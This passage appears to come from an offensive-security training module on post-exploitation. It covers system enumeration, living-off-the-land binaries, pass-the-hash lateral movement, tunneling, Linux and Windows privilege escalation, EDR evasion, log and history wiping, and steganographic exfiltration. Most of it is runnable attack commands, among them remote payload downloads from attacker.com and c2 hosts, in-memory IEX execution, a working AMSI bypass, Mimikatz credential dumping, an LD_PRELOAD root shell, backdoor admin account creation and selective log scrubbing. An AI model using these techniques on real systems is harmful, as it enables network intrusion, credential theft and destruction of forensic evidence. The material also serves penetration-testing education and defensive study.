# Should only show "root"

# Adding to sudoers directly:
echo "backupuser ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

8.2 Understanding Lateral Movement, Detection Avoidance, and Enumeration

8.2.1 Overview — The Post-Exploitation Mindset

What Lateral Movement Is and Why It Is The Goal

The initial compromise gives access to one machine. But in most real-world scenarios, the target data, the privileged systems, and the ultimate objectives are not on that first machine. The web server you exploited via SQL injection does not contain the CEO's emails. The developer's laptop you compromised via spear phishing does not hold the payment card database. The VPN gateway you gained access to through default credentials is not the domain controller.

Lateral movement — the practice of moving from the initially compromised machine to other systems in the network — is what bridges the gap between initial access and organizational impact. It is the phase where a single compromised endpoint becomes organizational-level access. It is also the phase where the highest-value targets are reached.

From a business perspective, lateral movement is the difference between "we had a breach of one system" and "we had a full organizational compromise." The former is a recoverable incident. The latter is a catastrophe. Understanding lateral movement both as an attacker and as a defender is the most critical operational skill in enterprise security.

The Attacker's Roadmap Through the Network

INITIAL ACCESS
      ↓
[Compromised DMZ web server]
      ↓
  DISCOVERY
  (What else is in this network? What credentials did I gain?)
      ↓
  CREDENTIAL ACCESS
  (Dump creds from this machine — who has logged in here recently?)
      ↓
  LATERAL MOVEMENT
  (Use stolen credentials/tickets/hashes to access next target)
      ↓
[Domain controller] ← OBJECTIVE
      ↓
  COLLECTION
  (What data is accessible? Enumerate files, databases, shares)
      ↓
  EXFILTRATION (or IMPACT)
  (Extract data / encrypt for ransom / demonstrate access)

Every step in this chain requires new knowledge about the environment (discovery), which informs the next movement. Post-exploitation is inherently iterative.

8.2.2 Post-Exploitation Scanning and Enumeration

The First Question After Initial Compromise — "Where Am I?"

The moment you have shell access to a compromised system, your first priority is understanding your environment. The automated post-exploitation tools handle the technical mechanics, but the operator's mental model of the network determines the strategy.

Initial system enumeration — comprehensive:

# === LINUX POST-EXPLOITATION ENUMERATION ===

# System identity:
uname -a                                    # Kernel version
hostname                                    # Hostname
cat /etc/os-release                         # Distribution
id                                          # Current user and groups

# Network position:
ip addr                                     # IP addresses on all interfaces
ip route                                    # Routing table (reveals connected networks)
cat /etc/hosts                              # Local DNS entries (reveals internal hostnames)
arp -a                                      # ARP cache (who has this machine communicated with?)
ss -tulpn                                   # Listening ports
ss -antup                                   # All connections

# What credentials might be here?
cat /etc/passwd                             # All users
cat /etc/shadow                             # Password hashes (if root)
cat ~/.bash_history                         # Command history (often contains passwords)
cat ~/.ssh/id_rsa                           # SSH private keys
find / -name "*.pem" -o -name "*.key" 2>/dev/null  # SSL/SSH keys
find / -name "config.php" -o -name "*.env" 2>/dev/null  # Config files with creds
find / -name ".git" -type d 2>/dev/null    # Git repos (may contain credential history)
env                                         # Environment variables (may contain API keys)

# Running processes and services:
ps aux                                      # All running processes
crontab -l                                  # Current user's cron
cat /etc/crontab                            # System cron

# Interesting files:
find /home -name "*.txt" -type f 2>/dev/null
find /tmp /var/tmp -type f 2>/dev/null
find / -perm /4000 -type f 2>/dev/null     # SUID files (privilege escalation)

# Installed software:
dpkg -l | grep -v "^ii"                    # Debian packages
rpm -qa                                     # RPM packages
pip3 list                                   # Python packages

# === WINDOWS POST-EXPLOITATION ENUMERATION ===

# System identity:
systeminfo                                  # Full system info including patches
hostname
whoami /all                                 # Current user with privileges and groups
net user                                    # Local users
net localgroup Administrators              # Local admins

# Network:
ipconfig /all                               # All network interfaces
route print                                 # Routing table
arp -a                                      # ARP cache
netstat -ano                                # All connections with PIDs

# Domain information (if domain-joined):
net user /domain                            # All domain users
net group "Domain Admins" /domain           # Domain admin members
net group "Enterprise Admins" /domain       # Enterprise admin members
nltest /dclist:domain.local                 # Domain controllers

# Credentials and tokens:
cmdkey /list                                # Stored Windows credentials
Get-ChildItem C:\Users\ -Recurse *.txt | Select-String -Pattern "pass"  # Password files
reg query HKLM /f password /t REG_SZ /s    # Registry password entries

# Shares:
net share                                   # Local shares
net view \\localhost                        # Same thing

# Running processes:
tasklist /V                                 # All processes with session info
Get-Process | Sort CPU -Desc | Select -First 20

# Scheduled tasks:
schtasks /Query /FO LIST /V | findstr /i "task\|run\|next"

# Installed applications:
wmic product get name,version               # Installed software

Automated Enumeration Tools

LinPEAS / WinPEAS (Privilege Escalation Awesome Scripts):

These scripts automate the enumeration of potential privilege escalation paths and sensitive information:

# Linux:
# Download and run LinPEAS:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer via Meterpreter and run:
meterpreter > upload linpeas.sh /tmp/
meterpreter > shell
cd /tmp && chmod +x linpeas.sh && ./linpeas.sh | tee /tmp/linpeas_output.txt

# Windows:
# Transfer WinPEAS and run in PowerShell:
.\winPEAS.exe | Out-File C:\Temp\winpeas_output.txt

BloodHound — Active Directory Attack Path Mapping:

BloodHound is one of the most powerful post-exploitation tools for Active Directory environments. It maps the relationships between all AD objects — users, groups, computers, GPOs, trust relationships — and then uses graph theory to identify attack paths from any point to Domain Admin.

# Data collection — SharpHound (run on target from domain-joined machine):
# Import SharpHound.exe to the target, then:
.\SharpHound.exe -c All --zipfilename loot.zip

# Alternative using PowerShell:
Invoke-BloodHound -CollectionMethod All -ZipFilename loot.zip

# Download the ZIP to your machine:
meterpreter > download C:\Temp\loot.zip /tmp/

# Import into BloodHound GUI and query:
# Pre-built queries:
# - "Find all Domain Admins"
# - "Shortest paths to Domain Admins from Owned Principals"
# - "Find Principals with DCSync Rights"
# - "Find Computers where Domain Users are Local Admin"
# - "Shortest Paths to High Value Targets"

BloodHound reveals attack paths that would take days to find manually. It might show: USER_A → is member of GROUP_B → GROUP_B has GenericWrite on USER_C → USER_C can perform DCSync — a multi-hop privilege escalation path that reads clearly as a graph but is nearly invisible in raw AD queries.

8.2.3 Living-off-the-Land — Attacking With What Is Already There

The LOLBIN Concept

"Living-off-the-Land Binaries" (LOLBINs) refers to the practice of using legitimate, pre-installed operating system utilities to carry out attacker objectives — without introducing new tools that might be detected.

The logic: if an attacker runs Mimikatz.exe on a Windows machine, every modern EDR (Endpoint Detection and Response) tool will detect and alert on it. But if the attacker uses Windows built-in utilities like wmic.exe, powershell.exe, certutil.exe, and mshta.exe to achieve the same objectives, these processes have legitimate uses and their individual executions are harder to distinguish from legitimate activity.

The LOLBINs database at https://lolbas-project.github.io catalogs hundreds of Windows binaries with documented attacker use cases.

Windows LOLBINs — Key Techniques:

# certutil.exe — download files (legitimate use: certificate management):
certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe

# certutil.exe — decode base64 files:
certutil.exe -decode encoded.b64 decoded.exe

# mshta.exe — execute remote HTA (HTML Application):
mshta.exe http://attacker.com/payload.hta

# regsvr32.exe — execute remote COM scriptlet (Squiblydoo):
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# wmic.exe — execute remote command:
wmic process call create "cmd.exe /c C:\Temp\payload.exe"

# bitsadmin.exe — download files using Background Intelligent Transfer Service:
bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\Temp\payload.exe

# forfiles.exe — execute commands:
forfiles /c "cmd /c powershell.exe -ep bypass -w hidden -nop IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"

# msiexec.exe — install remote MSI package (can contain payload):
msiexec /quiet /i http://attacker.com/malicious.msi

# PowerShell with AMSI bypass:
# AMSI (Antimalware Scan Interface) inspects PowerShell scripts
# Common AMSI bypass (change periodically as Microsoft patches them):
$a=[Ref].Assembly.GetTypes()
Foreach($b in $a){if ($b.Name -like "*iUtils") {$c=$b}}
$d=$c.GetFields('NonPublic,Static')
Foreach($e in $d){if ($e.Name -like "*Context") {$f=$e}}
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

PowerShell Abuse — The Attacker's Swiss Army Knife

PowerShell is one of the most powerful attacker tools available on Windows precisely because it is legitimate, built-in, and provides deep access to Windows internals:

# Execution policy bypass (does not require admin):
powershell.exe -ExecutionPolicy Bypass -File script.ps1
powershell.exe -EP Bypass -Command "..."
powershell.exe -EncodedCommand [BASE64_COMMAND]  # Obfuscated command

# Download and execute in memory (no file on disk):
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
IEX (Invoke-WebRequest 'http://attacker.com/payload.ps1' -UseBasicParsing).Content

# Bypass constrained language mode (if enforced):
# Try running PowerShell v2 (often not restricted):
powershell.exe -version 2 -ExecutionPolicy Bypass

# WMI for remote execution (requires admin on target):
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c beacon.exe"

# PowerShell remoting (WinRM):
Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }

# Windows Management Instrumentation (WMI) subscription persistence:
# Creates a WMI event subscription that executes payload when triggered
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name='UpdateFilter'
    EventNameSpace='root\cimv2'
    QueryLanguage='WQL'
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
}

WMI (Windows Management Instrumentation) — The Administrator's Tool and Attacker's Weapon

WMI is a Windows API for accessing system information and management functions. It is used by legitimate administrators for remote management. Attackers use it because WMI-based activity is harder to detect than equivalent actions via CMD or PowerShell, and many security tools do not properly monitor WMI activity.

# Enumerate via WMI — system information:
Get-WmiObject -Class Win32_ComputerSystem
Get-WmiObject -Class Win32_OperatingSystem
Get-WmiObject -Class Win32_Process | Select Name, ProcessId, CommandLine
Get-WmiObject -Class Win32_UserAccount

# WMI for lateral movement — execute command on remote system:
Invoke-WmiMethod -ComputerName REMOTE_PC -Class Win32_Process -Name Create `
    -ArgumentList "cmd.exe /c certutil -urlcache -f http://c2/beacon.exe C:\Temp\beacon.exe && C:\Temp\beacon.exe" `
    -Credential (Get-Credential)

# WMIC command line:
wmic /node:REMOTE_PC process call create "cmd /c ..."

Sysinternals — Legitimate Admin Tools That Attackers Love

Microsoft's Sysinternals suite contains over 70 utilities for Windows administration that are also used extensively in post-exploitation:

# PsExec — remote command execution (most famous Sysinternals tool for attackers):
psexec.exe \\REMOTE_PC -u Administrator -p Password123 cmd.exe

# PsExec with hash (pass-the-hash):
psexec.exe \\REMOTE_PC -hashes :NTLM_HASH cmd.exe

# PsList — list processes on remote machine:
pslist.exe \\REMOTE_PC

# PsLoggedOn — who is logged onto which machine:
psloggedon.exe \\REMOTE_PC

# Autoruns — enumerate persistence mechanisms (blue team essential):
autoruns.exe           # GUI — shows all autorun locations
autorunsc.exe          # CLI version for scripted enumeration

8.2.4 Lateral Movement — Pivoting Through a Network

The Core Challenge of Lateral Movement

Lateral movement requires three ingredients:

Credentials or authentication tokens from the compromised machine
Network connectivity to the target machine from the current pivot point
A service on the target machine that accepts those credentials

Post-exploitation enumeration focuses on finding these three ingredients. Credential dumping harvests the first. Network scanning from the compromised machine discovers the second. Service enumeration identifies the third.

Pass-the-Hash (PtH) — The Ultimate Windows Credential Reuse

In Windows environments, NTLM authentication uses a hash of the password, not the password itself, for authentication in certain contexts. This means that if you obtain the NTLM hash of an account, you can authenticate as that account to any service accepting NTLM authentication — without ever knowing the plaintext password.

Obtaining hashes:

# Via Mimikatz (requires SYSTEM privileges):
privilege::debug
sekurlsa::logonpasswords           # Dumps plaintext passwords AND hashes from LSASS
sekurlsa::wdigest                  # May reveal plaintext passwords (Windows 7/2008)
lsadump::sam                       # Dump SAM database hashes
lsadump::dcsync /user:krbtgt       # DCSync — replicate AD hashes without touching LSASS

# Via Meterpreter:
meterpreter > load kiwi
meterpreter > creds_all

# Via secretsdump.py (Impacket — from attacker machine with admin creds):
secretsdump.py DOMAIN/Administrator:password@TARGET_IP
secretsdump.py -hashes :NTLM_HASH DOMAIN/Administrator@TARGET_IP

# Via CrackMapExec:
crackmapexec smb TARGET_IP -u Administrator -p password --sam
crackmapexec smb TARGET_IP -u Administrator -H :NTLM_HASH --sam

Using hashes for lateral movement:

# PtH with CrackMapExec — test credentials across a network range:
crackmapexec smb 10.0.0.0/24 -u Administrator -H :NTLM_HASH
# Returns: [+] for success, [-] for failure across all hosts

# PtH with psexec.py (Impacket):
psexec.py -hashes :NTLM_HASH Administrator@TARGET_IP

# PtH with smbexec.py:
smbexec.py -hashes :NTLM_HASH Administrator@TARGET_IP

# PtH with wmiexec.py:
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET_IP

# PtH via Evil-WinRM (WinRM/PowerShell Remoting):
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH

Port Forwarding and Tunneling — Reaching Hidden Networks

A compromised machine often has access to network segments that the attacker cannot reach directly. Tunneling routes the attacker's traffic through the compromised machine to reach these otherwise inaccessible targets.

SSH port forwarding:

# Local port forward — access internal service through SSH tunnel:
# Forward local port 3389 to internal RDP server through the SSH pivot:
ssh -L 3389:internal_rdp:3389 user@pivot_host

# Now connect: RDP to localhost:3389 → traffic goes through SSH to pivot → forwarded to internal_rdp:3389

# Dynamic port forward — create a SOCKS proxy:
ssh -D 9050 user@pivot_host

# Configure proxychains to use the SOCKS proxy:
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf

# Now any command prefixed with proxychains routes through the pivot:
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains curl http://internal-app.corp.local
proxychains crackmapexec smb 10.0.0.0/24 -u user -p password

Meterpreter routing — pivoting through Meterpreter sessions:

# In Metasploit — route traffic through a Meterpreter session:
# After getting Meterpreter on DMZ host:
meterpreter > run post/multi/manage/autoroute

# Or manually:
msf > use post/multi/manage/autoroute
msf > set SESSION 1
msf > set SUBNET 10.0.0.0
msf > set NETMASK 255.255.255.0
msf > run

# Now Metasploit modules can reach the internal 10.0.0.0/24 network:
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS 10.0.0.0/24
msf > run    # Scans internal network through the pivot

Chisel — TCP/UDP tunnel through HTTP:

# Chisel allows tunneling through HTTP — useful when only HTTP outbound is allowed

# On attacker server:
./chisel server -p 8080 --reverse

# On compromised internal machine:
./chisel client ATTACKER_IP:8080 R:9050:socks

# Creates a SOCKS5 proxy on attacker's localhost:9050 routing through the internal machine
# Use with proxychains to reach internal network

SMB Lateral Movement — The Windows-Native Attack Path

SMB (Server Message Block) is the primary Windows file sharing and remote service protocol. Lateral movement via SMB is the most common technique in Windows environments because it uses a protocol that is almost always allowed internally.

Techniques:

# SMB share access — mount shares from pivot:
# Metasploit:
meterpreter > use post/windows/gather/enum_shares

# CrackMapExec enumeration:
crackmapexec smb 10.0.0.0/24 -u user -p pass --shares

# Connect to share:
smbclient //TARGET_IP/SHARE_NAME -U 'DOMAIN\user%password'

# SMB lateral movement — remote code execution:
# PsExec (Sysinternals):
psexec.exe \\TARGET cmd.exe

# Impacket psexec:
psexec.py DOMAIN/user:password@TARGET cmd.exe

# Impacket atexec (at.exe remote execution):
atexec.py DOMAIN/user:password@TARGET "whoami > C:\Temp\out.txt"

RDP Lateral Movement

Remote Desktop Protocol (RDP) provides graphical access to Windows machines. If an attacker obtains credentials and RDP is enabled on a target, they gain full desktop access:

# Basic RDP connection (from Linux using xfreerdp):
xfreerdp /v:TARGET_IP /u:Administrator /p:Password123

# Pass-the-hash with RDP (requires enabling Restricted Admin mode on target):
# Enable Restricted Admin on target first:
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0

# Then connect with PtH:
xfreerdp /v:TARGET_IP /u:Administrator /pth:NTLM_HASH /cert-ignore

# Tunneled RDP through SSH port forward:
# First: ssh -L 13389:10.0.0.5:3389 user@pivot
# Then: xfreerdp /v:localhost:13389 /u:Administrator /p:Password123

8.2.5 Post-Exploitation Privilege Escalation

Why Escalation Is Always Necessary

Initial compromise rarely provides the highest available privilege level. A web application compromise gives www-data (Apache user — limited). A user endpoint compromise gives user-level access. Even an administrator account is not always SYSTEM/root which is needed for certain operations (reading LSASS, installing services, modifying critical system files).

Post-exploitation privilege escalation is the process of going from the obtained privilege level to the highest available level on that system.

Linux Privilege Escalation

SUID/SGID binaries — the most common finding:

SUID (Set User ID) is a file permission that causes a binary to run as its owner (often root) regardless of who executes it. If a SUID binary can be abused to execute arbitrary commands, those commands run as root.

# Find all SUID files:
find / -perm /4000 -type f 2>/dev/null

# Find all SGID files:
find / -perm /2000 -type f 2>/dev/null

# Common exploitable SUID binaries — check GTFOBins (https://gtfobins.github.io):
# If /usr/bin/find has SUID:
/usr/bin/find . -exec /bin/sh -p \; -quit

# If /usr/bin/vim has SUID:
/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# If /usr/bin/python3 has SUID:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If /usr/bin/nmap has SUID (older versions):
nmap --interactive
nmap> !sh

Sudo misconfigurations:

# Check sudo permissions:
sudo -l

# If allowed to run specific commands as root — check GTFOBins for each:
# Example: "User www-data may run: (root) NOPASSWD: /usr/bin/find"
sudo find . -exec /bin/sh \; -quit   # Spawns root shell

# Sudo with LD_PRELOAD (if env_keep includes LD_PRELOAD):
# Create malicious shared library:
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so any_allowed_command

Kernel exploits:

# Check kernel version:
uname -r

# Search for kernel exploits:
searchsploit linux kernel 5.15    # Search exploit-db

# Automated Linux privilege escalation check (run as unprivileged user):
# LinPEAS automatically checks for all these vectors
./linpeas.sh | grep -i "privilege escalation\|CVE\|exploit"

Windows Privilege Escalation

Token impersonation — Potato attacks:

Windows uses access tokens to represent security contexts. When certain conditions are met, an unprivileged user can impersonate higher-privileged tokens. The "Potato" family of exploits (Hot Potato, Juicy Potato, Rotten Potato, Sweet Potato, PrintSpoofer) exploit this:

# Check current privileges:
whoami /priv

# If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is enabled:
# Run PrintSpoofer for SYSTEM access:
.\PrintSpoofer.exe -c "cmd.exe"

# GodPotato (works on Windows Server 2012-2022):
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

# JuicyPotato (older Windows versions):
.\JuicyPotato.exe -l 1337 -p C:\Temp\cmd.bat -t * -c {CLSID}

Unquoted service paths:

# Services with paths containing spaces and no quotes:
# Vulnerable: C:\Program Files\My Service\service.exe
# Windows tries: "C:\Program.exe", "C:\Program Files\My.exe", etc.

# Find unquoted paths:
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Create a malicious binary at the exploitable path:
# If "C:\Program Files\My Service\service.exe" is the real path:
# Create "C:\Program.exe" containing your payload
# When the service starts, Windows executes your binary as SYSTEM

DLL Hijacking:

# Applications that load DLLs from user-writable directories
# can be exploited by placing a malicious DLL in that directory

# Process Monitor (from Sysinternals) identifies DLL search order:
# Filter: Process Name is target_app.exe
# Filter: Result is NAME NOT FOUND
# These are DLLs the app looked for and did not find

# Create malicious DLL in that location with the expected name
# When app runs, it loads your DLL

8.2.6 Detection Avoidance — The Art of Invisibility

Understanding What Defenders Can See

To avoid detection, you must understand what detection systems look at. Modern enterprise security stacks include:

EDR (Endpoint Detection and Response): Agent on every endpoint that monitors process creation, file writes, network connections, registry modifications, memory anomalies, and behavioral patterns
SIEM (Security Information and Event Management): Aggregates and correlates logs from all sources — Windows Event Logs, firewall logs, authentication logs, network traffic logs
NDR (Network Detection and Response): Analyzes network traffic for anomalous patterns, known C2 indicators, unusual data volumes, and protocol anomalies
Threat Intelligence Feeds: Lists of known malicious IP addresses, domains, file hashes, and indicators that are automatically checked against observed activity
UEBA (User and Entity Behavior Analytics): Baselines normal behavior per user/host and alerts on deviations — an admin account that logs in at 3 AM from a new location is flagged

Detection avoidance requires defeating all of these simultaneously.

Process Injection — Hiding in Legitimate Processes

Process injection places malicious code inside the memory space of a legitimate process. From the OS perspective, the legitimate process is running normally. The malicious code executes inside it.

// Classic DLL injection technique (conceptual):
// 1. OpenProcess() — get handle to target process (e.g., explorer.exe)
// 2. VirtualAllocEx() — allocate memory in target process
// 3. WriteProcessMemory() — write shellcode to allocated memory
// 4. CreateRemoteThread() — create a thread in target process at shellcode address

// Result: shellcode runs inside explorer.exe
// Network connections appear to come from explorer.exe
// Process list shows explorer.exe, not any malicious process name

# In Meterpreter — migrate to legitimate process:
meterpreter > ps                          # List processes
meterpreter > migrate 1234                # Migrate to PID 1234 (e.g., explorer.exe)
# Now Meterpreter runs inside explorer.exe
# C2 traffic appears as explorer.exe making network connections

Memory-Only Attacks — Fileless Malware

Writing a file to disk creates a detectable artifact. Antivirus scans files on disk. Modern attacks avoid this by operating entirely in memory:

# Download and execute PowerShell payload entirely in memory:
# Nothing is written to disk
IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Reflective DLL injection — load a DLL from memory without writing to disk:
# Used by advanced frameworks like Cobalt Strike
# The DLL never appears in the filesystem

# .NET assembly loading in memory:
$bytes = (New-Object System.Net.WebClient).DownloadData('http://c2/tool.exe')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,$args))

Obfuscation — Making Code Unrecognizable

AMSI (Antimalware Scan Interface) in Windows inspects PowerShell scripts and .NET code before execution. String-based obfuscation breaks signature matching:

# Original detected string:
IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload')

# Variable substitution obfuscation:
$a = "IEX"
$b = "(New-Object Net.WebClient).DownloadString"
$c = "('http://evil.com/payload')"
&($a) ($b+$c)

# String reversal:
$cmd = "gnirtS dnwolkaD)'daolyanP/moc.live//:ptth'("
$cmd = $cmd[-1..-($cmd.Length)] -join ''
IEX $cmd

# Base64 encoding:
$command = 'IEX(New-Object Net.WebClient).DownloadString("http://c2/payload")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded

# Using Invoke-Obfuscation (tool for automated PowerShell obfuscation):
Import-Module Invoke-Obfuscation
Invoke-Obfuscation

Timestomping — Hiding File Modification Times

NTFS forensic analysis uses file timestamps (Created, Modified, Accessed, MFT Modified) to reconstruct timelines. Modifying timestamps (timestomping) prevents investigators from determining when files were created or modified:

# Linux — change file timestamps:
touch -t 202001010000 malicious.sh       # Set to Jan 1, 2020
touch --reference=/bin/bash malicious.sh  # Copy timestamps from legitimate file

# Windows — Metasploit timestomp:
meterpreter > timestomp C:\Temp\beacon.exe -z  # Zero all timestamps
meterpreter > timestomp C:\Temp\beacon.exe -m "2020-01-01 12:00:00"  # Set specific time

# Timestomp to match a legitimate file (most realistic):
meterpreter > timestomp C:\Temp\beacon.exe --reference C:\Windows\System32\notepad.exe

8.2.7 How to Cover Your Tracks — Evidence Elimination

The Ethical and Legal Dimensions

Covering tracks at the end of an authorized engagement is an ethical obligation — you must restore the system to its pre-engagement state. This means removing every backdoor, deleting every uploaded tool, removing every created account, and documenting every change made for the report.

In a real attack (which we are NOT doing), covering tracks is about preventing investigation from reconstructing what happened. This distinction matters: in an authorized engagement, you document everything you did, including your cleanup activities, for the report.

Windows Event Log Manipulation

Windows Event Logs are the primary audit trail for Windows systems. The Security log, System log, and Application log record authentication events, process creation, service installation, account changes, and much more.

# Clear all event logs (requires admin — VERY NOISY — triggers alert):
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Selectively clear specific log entries (stealthier):
# This requires PowerShell and finding specific event IDs to delete

# View security events before clearing:
wevtutil qe Security /c:100 /f:text /rd:true

# PowerShell — selectively remove specific event entries:
$EventLog = [System.Diagnostics.EventLog]::new("Security")
# Note: Selective deletion of individual entries is not standard — requires custom approaches

# Meterpreter:
meterpreter > clearev    # Clears System, Security, and Application logs

# Syslog on Linux:
cat /dev/null > /var/log/auth.log          # Empty auth log
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/apache2/access.log
# More targeted — remove specific lines containing your IP:
grep -v "ATTACKER_IP" /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log

Why log clearing is noisy:

Every Windows event log has its own event for when it is cleared. Event ID 1102 in the Security log indicates the Security audit log was cleared. This is itself an alert trigger in any SIEM with logging rules. Sophisticated defenders have their logs forwarded to a central SIEM in real time — so by the time you clear the local log, the entries have already been forwarded and exist in the SIEM. Clearing the local log only removes local forensic capability; it cannot remove what has already been shipped to centralized logging.

The attacker countermeasure: Disable event log forwarding (if possible), operate in a way that generates minimal log entries, or act so quickly that log review happens after the engagement is complete.

Shell History Elimination

# Linux bash history:
# Clear current session history:
history -c && history -w

# Unset history for current session:
unset HISTFILE
export HISTSIZE=0

# Prevent history logging at session start:
export HISTFILE=/dev/null

# Remove history file entirely:
rm ~/.bash_history

# More stealthy — manipulate specific entries:
# History file is in ~/.bash_history (or HISTFILE location)
# Use text editor or sed to remove specific entries

# PowerShell history:
# PowerShell stores history in:
# C:\Users\[user]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Remove-Item C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -Force

# Or clear current session history:
Clear-History
Set-PSReadLineOption -HistorySaveStyle SaveNothing

Removing Uploaded Files and Tools

# Remove all uploaded attacker tools:
rm -rf /tmp/linpeas.sh
rm -rf /tmp/chisel
rm -rf /tmp/.hidden/
del C:\Temp\beacon.exe
del C:\Temp\winpeas.exe
del C:\Temp\Mimikatz.exe

# Find recently created files (blue team technique to find what attacker dropped):
find / -newer /etc/passwd -type f 2>/dev/null   # Linux
dir /s /tc "C:\" | findstr "2026"               # Windows — files created today

# Zero files before deletion (prevent recovery):
shred -uzn 3 /tmp/malicious_file   # Linux — overwrite then delete
sdelete.exe /p:3 C:\Temp\beacon.exe  # Windows Sysinternals secure delete

8.2.8 Steganography — Hiding in Plain Sight

What Steganography Is in the Attacker's Context

Steganography is the practice of hiding secret information within ordinary, non-secret data. The classic example is hiding a message in a photograph — the photo looks normal to any casual observer, but the hidden data is encoded in the pixel values, color values, or file structure.

In the context of post-exploitation, steganography serves two purposes:

Data exfiltration: Embedding stolen data inside innocuous-looking files (images, audio, video, documents) to transfer it out of the network without triggering data loss prevention (DLP) tools that look for patterns like credit card numbers, SSNs, or confidential document watermarks.

Communication: Using steganographic channels for C2 communication that bypasses network inspection. Instead of obvious C2 traffic to a known IP, commands are encoded in images posted to social media or innocuous websites.

How Steganography Works Technically

LSB (Least Significant Bit) steganography — the most common technique:

A digital image is composed of pixels, each pixel consisting of three or four color values (Red, Green, Blue, Alpha) stored as 8-bit numbers (0-255). The most significant bit of each value determines the color most strongly; the least significant bit changes the color by a value of 1 — a change that is imperceptible to the human eye.

By replacing the LSB of each pixel's color values with a bit of the hidden message, enormous amounts of data can be concealed in an image with no perceptible visual change.

Original pixel red value: 11011010 (218)
With hidden bit 0:        11011010 (218) — unchanged
With hidden bit 1:        11011011 (219) — changes by 1, imperceptible

A 1920x1080 image with 3 channels (RGB):
1920 × 1080 × 3 = 6,220,800 pixels × 1 bit = 6,220,800 bits = 777,600 bytes ≈ 760 KB hidden data
In a completely imperceptible way

Steganography tools:

# Steghide — hide data in JPEG and BMP images, WAV and AU audio:
# Hide a file:
steghide embed -cf carrier_image.jpg -sf secret_document.txt -p "password"

# Extract hidden file:
steghide extract -sf carrier_image.jpg -p "password"

# Info about hidden content:
steghide info carrier_image.jpg

# OpenStego — GUI and CLI steganography:
openstego embed -mf secret.txt -cf cover_image.png -sf output.png -p "passphrase"
openstego extract -sf output.png -p "passphrase"

# ExifTool — hide data in EXIF metadata:
exiftool -Comment="$(base64 -w 0 secret.txt)" carrier_image.jpg

# Binwalk — detect hidden files in images (blue team detection tool):
binwalk -e suspicious_image.jpg   # Detect and extract embedded files

# StegSolve (Java) — visual analysis to detect LSB steganography
# zsteg (Ruby) — detect and extract LSB steganography
zsteg suspicious.png

Network steganography — hiding in protocol fields:

Data can also be hidden in unused or variable fields in network protocols:

# Hiding data in IP packet ID field:
# Each IP packet has an ID field (2 bytes, 16 bits)
# In normal traffic this varies; an attacker can encode data in sequential ID values

# Hiding data in TCP sequence numbers:
# Initial sequence numbers vary; data can be encoded across multiple packets' ISN fields

# ICMP ping steganography:
# The data payload of ICMP echo requests can carry hidden data
# Normal ping has minimal payload; filling with encoded data is not visible to the network layer

Detecting steganography — the defender's perspective:

Detecting steganography is significantly harder than using it. Several indicators suggest steganographic content:

Statistical analysis: LSB steganography changes the statistical distribution of pixel color values in predictable ways. Tools like stegdetect and StegSpy use statistical models to detect these anomalies
File size anomalies: An image with hidden data is often larger than an identical carrier image without hidden data
Metadata inconsistencies: EXIF data showing the image was created by standard camera software while the file has been modified by a steganography tool
Entropy analysis: Hidden compressed or encrypted data increases file entropy

# Detection tools:
stegdetect suspicious.jpg        # Statistical detection
zsteg -a suspicious.png           # Try multiple extraction methods
foremost -i suspicious.jpg        # Carve for hidden files
binwalk suspicious.jpg            # Find embedded file signatures

# Entropy analysis — high entropy suggests hidden data:
python3 -c "
import sys, math
data = open(sys.argv[1], 'rb').read()
entropy = -sum(c/len(data) * math.log2(c/len(data)+1e-10) for c in [data.count(bytes([b])) for b in range(256)])
print(f'Entropy: {entropy:.4f}')
" suspicious.jpg
# Normal image: ~7.0-7.5 entropy; encrypted/compressed hidden data: >7.9

8.3 Module 8 Summary

